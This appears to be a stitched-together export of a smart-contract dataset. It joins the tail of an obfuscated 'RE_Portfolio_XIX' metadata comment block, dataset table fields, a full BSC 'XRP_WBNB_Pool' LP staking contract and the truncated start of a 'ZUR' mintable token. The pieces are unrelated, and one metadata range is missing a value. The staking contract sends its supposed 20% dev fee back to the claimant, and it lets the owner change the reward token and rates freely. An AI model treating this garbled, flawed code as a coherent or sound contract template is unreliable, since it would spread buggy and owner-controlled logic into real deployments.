// < RE_Portfolio_XIX_metadata_line_12_____Third_Point_Reinsurance_20250515 >
// < fC0h29Rm9ocPohp9k7InnRo2vAz51YIlY88WsYK2c3rhIZ0Q1ZN28fI3jxq9pdkF >
// < 1E-018 limites [ 444981485,562693 ; 506207468,160163 ] >
// < 0x0000000000000000000000000000000000000000000000A5C4BDEC0BC93B4E34 >
// < RE_Portfolio_XIX_metadata_line_13_____Toa_Re_Co_Ap_Ap_20250515 >
// < 0F6Y2bYEjTQEty18YK1Yf8pU9Fnm7xkFLmDyHQvTFG1n9Ibtxm4C7OgWqT2IXZDZ >
// < 1E-018 limites [ 506207468,160163 ; 552950676,871448 ] >
// < 0x0000000000000000000000000000000000000000000000BC93B4E34CDFD7C81B >
// < 4Uv7m9mj2c4tYBqpHP6Mdob500N05SIh1oRP2Rfqb2N822HqsuBGP3QmiI4qisfm >
// < 1E-018 limites [ 552950676,871448 ; 585414558,533241 ] >
// < 0x0000000000000000000000000000000000000000000000CDFD7C81BDA157BBE1 >
// < RE_Portfolio_XIX_metadata_line_15_____Tokio_Marine_Holdings_Incorporated_20250515 >
// < z95bDnU95A92kciV43h5sb2iZ7934ZS2t69z72Jc1Ws4PHAaS31Zh304VCgvB5TN >
// < 1E-018 limites [ 585414558,533241 ; 602538129,447563 ] >
// < 0x0000000000000000000000000000000000000000000000DA157BBE1E07683AC4 >
// < 6f4g2q9OeJV9c6VVvchEEnxr4Cv378e5yNB4nMrwtdy5V443S05kPc39XTc2HF06 >
// < 1E-018 limites [ 602538129,447563 ; 628991114,826927 ] >
// < 0x0000000000000000000000000000000000000000000000E07683AC4EA514482E >
// < iPt6B77Bl3RZ7h77fu88iO7ev488A2DjS4SZZxmencBOcET49Wp81gHOmA16l0E6 >
// < 1E-018 limites [ 628991114,826927 ; 653664998,582608 ] >
// < 0x0000000000000000000000000000000000000000000000EA514482EF3825A406 >
// < z8tE1C9pT508U5L9E4xTwNDi3807k9JZYk2uuR7i5ac5W8uyjo1tv409yFEjaZsU >
// < 1E-018 limites [ 653664998,582608 ; 665148788,281526 ] >
// < 0x0000000000000000000000000000000000000000000000F3825A406F7C988360 >
// < F5rbD2A4YFUm3t95c22MgJdko2IWDlDjD15B03u4Bn44nOxqF497Up68poE5l36F >
// < 1E-018 limites [ 665148788,281526 ; 692363511,442255 ] >
// < 0x000000000000000000000000000000000000000000000F7C988360101ECEE29C >
// < 71qm6JMO9DdJ9dokd6M8010L8EP18g8g7QQbWisuxf0SOt3jOjriAgHtTxEPx4t6 >
// < 1E-018 limites [ 692363511,442255 ; 724633371,593046 ] >
// < 0x00000000000000000000000000000000000000000000101ECEE29C10DF26C8BB >
// Programme d'mission - Lignes 21 30
//
//
//
//
// [ Nom du portefeuille ; Numro de la ligne ; Nom de la ligne ; Echance ]
// [ Adresse exporte ]
// [ Unit ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < NtO4R5z8Hmq5gyTbb27oq3w879404Q7c7vAGxPb54wIFKgrsHL91QQ319PF7IgNW >
// < 1E-018 limites [ 724633371,593046 ; 797817953,472696 ] >
// < 0x0000000000000000000000000000000000000000000010DF26C8BB12935D9807 >
// < b5Vq3e1JmThrk9aVq0BkT6H9rgC5886X04cLS8LKu5Kbn2ethsP01gxK359I9D0M >
// < 1E-018 limites [ 797817953,472696 ; 826159686,009524 ] >
// < 0x0000000000000000000000000000000000000000000012935D9807133C4BA54C >
// < bagbt2n0F5CFG1Aaj6eH5ls5qnElLCnMN0L0P87O765u41AC0ChA93ZFGB6aEPTu >
// < 1E-018 limites [ 826159686,009524 ; 837798262,824859 ] >
// < 0x00000000000000000000000000000000000000000000133C4BA54C1381AAB45E >
// < y6fsIS3j1m8vv4eZ9whZ54VoS8CbFSz16V9QKtZ6xYDrfq6uf0rUxK7DJr1837Mq >
// < 1E-018 limites [ 837798262,824859 ; 856011397,919842 ] >
// < 0x000000000000000000000000000000000000000000001381AAB45E13EE39BE43 >
// < 75fl1uTS32nKG3OT9Pw5Ot8Y5LAmU43x0kGKoX82k4vnU95Dwztn12G6a3ESuCIk >
// < 1E-018 limites [ 856011397,919842 ; 904493694,143151 ] >
// < 0x0000000000000000000000000000000000000000000013EE39BE43150F33DB3A >
// < I12A7dRCEI2meH2ft5Cd6K7U7w9RMpQ3JLSwW1x49X5DEMFh0m0r2AElUyabMIFy >
// < 1E-018 limites [ 904493694,143151 ; 925858141,165202 ] >
// < 0x00000000000000000000000000000000000000000000150F33DB3A158E8B6A58 >
// < RE_Portfolio_XIX_metadata_line_27_____Towers_Perrin_Reinsurance_20250515 >
// < P1Gq46BCkvTcbhi1MGYTv588qA2CMse4xLrS9yoB0m1j9tr8l8Zusi31OSX137AP >
// < 1E-018 limites [ 925858141,165202 ; 972670559,352482 ] >
// < 0x00000000000000000000000000000000000000000000158E8B6A5816A5917F33 >
// < RE_Portfolio_XIX_metadata_line_28_____Trans_Re_Zurich_Ap_Ap_20250515 >
// < KU27aNuH8Ws1P056Spm5T6l5of15zm5GRkcQ5k5X6dB39S72r2BVPS9U90d31p55 >
// < 1E-018 limites [ 972670559,352482 ; 1003445887,17497 ] >
// < 0x0000000000000000000000000000000000000000000016A5917F33175D00EBA1 >
// < RE_Portfolio_XIX_metadata_line_29_____Transamerica_Reinsurance_20250515 >
// < e6moO2T5A1i3E9iR4TVjMr76xI74u0j0STEZb3yx1wXdvv8AMxNaN9CN0q6VxCAK >
// < 1E-018 limites [ 1003445887,17497 ; 1052832072,74501 ] >
// < 0x00000000000000000000000000000000000000000000175D00EBA118835E425E >
// < RE_Portfolio_XIX_metadata_line_30_____Transatlantic_Holdings_Inc_20250515 >
// < 46tMpDbp7q137KJzXfmVY6tyaB1ewU0W5870841Nwz9KQhsQst6iffUEMzL4ZCRw >
// < 1E-018 limites [ 1052832072,74501 ; 1071982514,72323 ] >
// < 0x0000000000000000000000000000000000000000000018835E425E18F58383C4 >
// Programme d'mission - Lignes 31 40
//
//
//
//
// [ Nom du portefeuille ; Numro de la ligne ; Nom de la ligne ; Echance ]
// [ Adresse exporte ]
// [ Unit ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < mW5qxaV89E18KD5Z2RzfbZu3EwR5By3OFVv5X73vShbWYyk7koUyjR1FwEpGGDgw >
// < 1E-018 limites [ 1071982514,72323 ; 1131282169,57941 ] >
// < 0x0000000000000000000000000000000000000000000018F58383C41A56F79B71 >
// < RE_Portfolio_XIX_metadata_line_32_____Transatlantic_Re_Co_Ap_Ap_20250515 >
// < 575zQ849jD7242nj6Bfdze2t4RVPlIVS9olpD2b633ayOnYVJGPT6jfJ071l2RDl >
// < 1E-018 limites [ 1131282169,57941 ; 1148292341,15667 ] >
// < 0x000000000000000000000000000000000000000000001A56F79B711ABC5B11B7 >
// < RE_Portfolio_XIX_metadata_line_33_____Transatlantic_Reinsurance_Company_20250515 >
// < 7U4iRcxih6bX09Kc46r4vzWlt7Oqa700Zp4szm674bt6pUMO4rDw1i9khwM8zXf5 >
// < 1E-018 limites [ 1148292341,15667 ; 1167136300,51226 ] >
// < 0x000000000000000000000000000000000000000000001ABC5B11B71B2CACAB57 >
// < RE_Portfolio_XIX_metadata_line_34_____TransRe_London_Limited_Ap_20250515 >
// < rsfbdcGB3Ha1l60W97Oj5O39zNmXjI3DKi798W4pv4W00l6U9g0VRy06j8HRrQOC >
// < 1E-018 limites [ 1167136300,51226 ; 1191694904,72507 ] >
// < 0x000000000000000000000000000000000000000000001B2CACAB571BBF0E201C >
// < RE_Portfolio_XIX_metadata_line_35_____Travelers_Companies_inc_Ap_20250515 >
// < LW88do6tS3Tecid7vhspU9uO9Dk71K3u55x93n93IMvH17b4A9MGo8MOPreMo3Xm >
// < 1E-018 limites [ 1191694904,72507 ; 1204457921,47698 ] >
// < 0x000000000000000000000000000000000000000000001BBF0E201C1C0B20F187 >
// < RE_Portfolio_XIX_metadata_line_36_____Travelers_insurance_Co_A_20250515 >
// < SAn1Xal1iTdOyy93T1ZWq18iGD31hmoZ9WBSD0pw35dH1JqLLcKJGD4hSnO0O5q8 >
// < 1E-018 limites [ 1204457921,47698 ; ] >
// < 0x000000000000000000000000000000000000000000001C0B20F1871C8A40B8DB >
// < m33tL2DET1N5IfqkQy1z9Tw2ElQ48E99HZq24kH00Z61SAPff92cyEHoqDTnbj33 >
// < 1E-018 limites [ 1225785812,23849 ; 1245765107,96977 ] >
// < 0x000000000000000000000000000000000000000000001C8A40B8DB1D0156B540 >
// < D9s016f658m026HP66qaoGlovX72HLUwILoN7uPIeOr28I1ml1ey1E8BejNsS97M >
// < 1E-018 limites [ 1245765107,96977 ; 1280751310,25896 ] >
// < 0x000000000000000000000000000000000000000000001D0156B5401DD1DF6A85 >
// < 6U5dHCsHKpsER95yn91gfu5A1r049Vj8eEy74196r8n7WyTLycewi7r3pac7X11E >
// < 1E-018 limites [ 1280751310,25896 ; 1315420823,44311 ] >
// < 0x000000000000000000000000000000000000000000001DD1DF6A851EA084E51C >
// < RE_Portfolio_XIX_metadata_line_40_____Triglav_Reinsurance_Co_A_20250515 >
// < iT1Dw4CktA63FFDv2h9wr29Bz3N5zJbRL8uD1F51hVEAB9wpa70Ug744MCBy638t >
// < 1E-018 limites [ 1315420823,44311 ; 1340600412,72182 ] >
// < 0x000000000000000000000000000000000000000000001EA084E51C1F3699E62C >
}
| 184,988 | 11,121 |
23500bd4262cf3eaa1384cb9ada1173fb18fd0149a4db2ceab58e26e45a3c269
| 25,451 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xA756a0c27B1d3C90e97B6aF2911A1232a5f91522/contract.sol
| 5,410 | 18,923 |
pragma solidity 0.8.1;
// SPDX-License-Identifier: MIT
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint256) external returns (bool);
function transfer(address, uint256) external returns (bool);
}
contract XRP_WBNB_Pool is Ownable {
using SafeMath for uint256;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint256 amount);
// TENFI token contract address
address public tokenAddress = 0x081B2aEB9925e1F72e889eac10516C2A48a9F76a;
// LP token contract address
address public LPtokenAddress = 0xC7b4B32A3be2cB6572a1c9959401F832Ce47a6d2;
// reward rate 200 % per year
uint256 public rewardRate = 168621;
uint256 public rewardInterval = 365 days;
// unstaking possible after 0 days
uint256 public cliffTime = 0 days;
uint256 public farmEnableat;
uint256 public totalClaimedRewards = 0;
uint256 public totalDevFee = 0;
uint256 private stakingAndDaoTokens = 100000e18;
bool public farmEnabled = false;
EnumerableSet.AddressSet private holders;
mapping (address => uint256) public depositedTokens;
mapping (address => uint256) public stakingTime;
mapping (address => uint256) public lastClaimedTime;
mapping (address => uint256) public totalEarnedTokens;
function updateAccount(address account) private {
uint256 pendingDivs = getPendingDivs(account);
uint256 fee = pendingDivs.mul(2000).div(1e4);
uint256 pendingDivsAfterFee = pendingDivs.sub(fee);
if (pendingDivsAfterFee > 0) {
require(Token(tokenAddress).transfer(account, pendingDivsAfterFee), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivsAfterFee);
totalClaimedRewards = totalClaimedRewards.add(pendingDivsAfterFee);
emit RewardsTransferred(account, pendingDivsAfterFee);
}
if (fee > 0) {
require(Token(tokenAddress).transfer(account, fee), "Could not transfer tokens.");
totalDevFee = totalDevFee.add(fee);
emit RewardsTransferred(account, fee);
}
lastClaimedTime[account] = block.timestamp;
}
function getPendingDivs(address _holder) public view returns (uint256 _pendingDivs) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint256 timeDiff = block.timestamp.sub(lastClaimedTime[_holder]);
uint256 stakedAmount = depositedTokens[_holder];
if (block.timestamp <= farmEnableat + 1 days) {
uint256 pendingDivs = stakedAmount.mul(1872117).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 1 days && block.timestamp <= farmEnableat + 2 days) {
uint256 pendingDivs = stakedAmount.mul(1720792).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 2 days && block.timestamp <= farmEnableat + 3 days) {
uint256 pendingDivs = stakedAmount.mul(1582437).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 3 days && block.timestamp <= farmEnableat + 4 days) {
uint256 pendingDivs = stakedAmount.mul(1457052).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 4 days && block.timestamp <= farmEnableat + 5 days) {
uint256 pendingDivs = stakedAmount.mul(1340315).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 5 days && block.timestamp <= farmEnableat + 6 days) {
uint256 pendingDivs = stakedAmount.mul(1232225).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 6 days && block.timestamp <= farmEnableat + 7 days) {
uint256 pendingDivs = stakedAmount.mul(1137106).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 7 days && block.timestamp <= farmEnableat + 8 days) {
uint256 pendingDivs = stakedAmount.mul(1046311).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 8 days && block.timestamp <= farmEnableat + 9 days) {
uint256 pendingDivs = stakedAmount.mul(959839).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 9 days && block.timestamp <= farmEnableat + 10 days) {
uint256 pendingDivs = stakedAmount.mul(882014).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 10 days && block.timestamp <= farmEnableat + 11 days) {
uint256 pendingDivs = stakedAmount.mul(812837).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 11 days && block.timestamp <= farmEnableat + 12 days) {
uint256 pendingDivs = stakedAmount.mul(747983).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 12 days && block.timestamp <= farmEnableat + 13 days) {
uint256 pendingDivs = stakedAmount.mul(687452).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 13 days && block.timestamp <= farmEnableat + 14 days) {
uint256 pendingDivs = stakedAmount.mul(631245).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 14 days && block.timestamp <= farmEnableat + 15 days) {
uint256 pendingDivs = stakedAmount.mul(583686).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 15 days && block.timestamp <= farmEnableat + 16 days) {
uint256 pendingDivs = stakedAmount.mul(536126).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 16 days && block.timestamp <= farmEnableat + 17 days) {
uint256 pendingDivs = stakedAmount.mul(492890).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 17 days && block.timestamp <= farmEnableat + 18 days) {
uint256 pendingDivs = stakedAmount.mul(453978).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 18 days && block.timestamp <= farmEnableat + 19 days) {
uint256 pendingDivs = stakedAmount.mul(419389).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 19 days && block.timestamp <= farmEnableat + 20 days) {
uint256 pendingDivs = stakedAmount.mul(384801).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 20 days && block.timestamp <= farmEnableat + 21 days) {
uint256 pendingDivs = stakedAmount.mul(354535).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 21 days && block.timestamp <= farmEnableat + 22 days) {
uint256 pendingDivs = stakedAmount.mul(324270).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 22 days && block.timestamp <= farmEnableat + 23 days) {
uint256 pendingDivs = stakedAmount.mul(298329).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 23 days && block.timestamp <= farmEnableat + 24 days) {
uint256 pendingDivs = stakedAmount.mul(276711).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 24 days && block.timestamp <= farmEnableat + 25 days) {
uint256 pendingDivs = stakedAmount.mul(255093).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 25 days && block.timestamp <= farmEnableat + 26 days) {
uint256 pendingDivs = stakedAmount.mul(233475).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 26 days && block.timestamp <= farmEnableat + 27 days) {
uint256 pendingDivs = stakedAmount.mul(216180).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 27 days && block.timestamp <= farmEnableat + 28 days) {
uint256 pendingDivs = stakedAmount.mul(198886).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 28 days && block.timestamp <= farmEnableat + 29 days) {
uint256 pendingDivs = stakedAmount.mul(181592).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 29 days && block.timestamp <= farmEnableat + 30 days) {
uint256 pendingDivs = stakedAmount.mul(168621).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 30 days) {
uint256 pendingDivs = stakedAmount.mul(rewardRate).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
}
}
function getNumberOfHolders() public view returns (uint256) {
return holders.length();
}
function deposit(uint256 amountToStake) public {
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(farmEnabled, "Farming is not enabled");
require(Token(LPtokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToStake);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = block.timestamp;
}
}
function withdraw(uint256 amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(block.timestamp.sub(stakingTime[msg.sender]) > cliffTime, "You recently staked, please wait before withdrawing.");
updateAccount(msg.sender);
require(Token(LPtokenAddress).transfer(msg.sender, amountToWithdraw), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claimDivs() public {
updateAccount(msg.sender);
}
function getStakingAndDaoAmount() public view returns (uint256) {
if (totalClaimedRewards >= stakingAndDaoTokens) {
return 0;
}
uint256 remaining = stakingAndDaoTokens.sub(totalClaimedRewards);
return remaining;
}
function setTokenAddress(address _tokenAddressess) public onlyOwner {
tokenAddress = _tokenAddressess;
}
function setCliffTime(uint256 _time) public onlyOwner {
cliffTime = _time;
}
function setRewardInterval(uint256 _rewardInterval) public onlyOwner {
rewardInterval = _rewardInterval;
}
function setStakingAndDaoTokens(uint256 _stakingAndDaoTokens) public onlyOwner {
stakingAndDaoTokens = _stakingAndDaoTokens;
}
function setRewardRate(uint256 _rewardRate) public onlyOwner {
rewardRate = _rewardRate;
}
function enableFarming() external onlyOwner() {
farmEnabled = true;
farmEnableat = block.timestamp;
}
// function to allow admin to claim *any* ERC20 tokens sent to this contract
function transferAnyERC20Tokens(address _tokenAddress, address _to, uint256 _amount) public onlyOwner {
require(_tokenAddress != LPtokenAddress);
Token(_tokenAddress).transfer(_to, _amount);
}
}
| 253,346 | 11,122 |
ae59623b6b51ad40fe5e02c2f446926a1852c2614903d7479baf0a243a6486a6
| 18,013 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x3a4b527dcd618ccea50adb32b3369117e5442a2f.sol
| 3,156 | 11,192 |
pragma solidity ^0.4.24;
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from,
address _to,
uint256 _value)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner,
address _spender)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(address _spender,
uint256 _addedValue)
public
returns (bool)
{
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender,
uint256 _subtractedValue)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/MintableToken.sol
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(address _to,
uint256 _amount)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
// File: contracts/ZUR.sol
contract ZUR is MintableToken {
using SafeMath for uint;
string public constant name = "Zur Drafts by Zurcoin Core";
string public constant symbol = "ZUR-D";
uint8 public constant decimals = 0;
address public admin;
uint public totalEthReleased = 0;
mapping(address => uint) public ethReleased;
address[] public trackedTokens;
mapping(address => bool) public isTokenTracked;
mapping(address => uint) public totalTokensReleased;
mapping(address => mapping(address => uint)) public tokensReleased;
constructor() public {
owner = this;
admin = msg.sender;
}
function () public payable {}
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
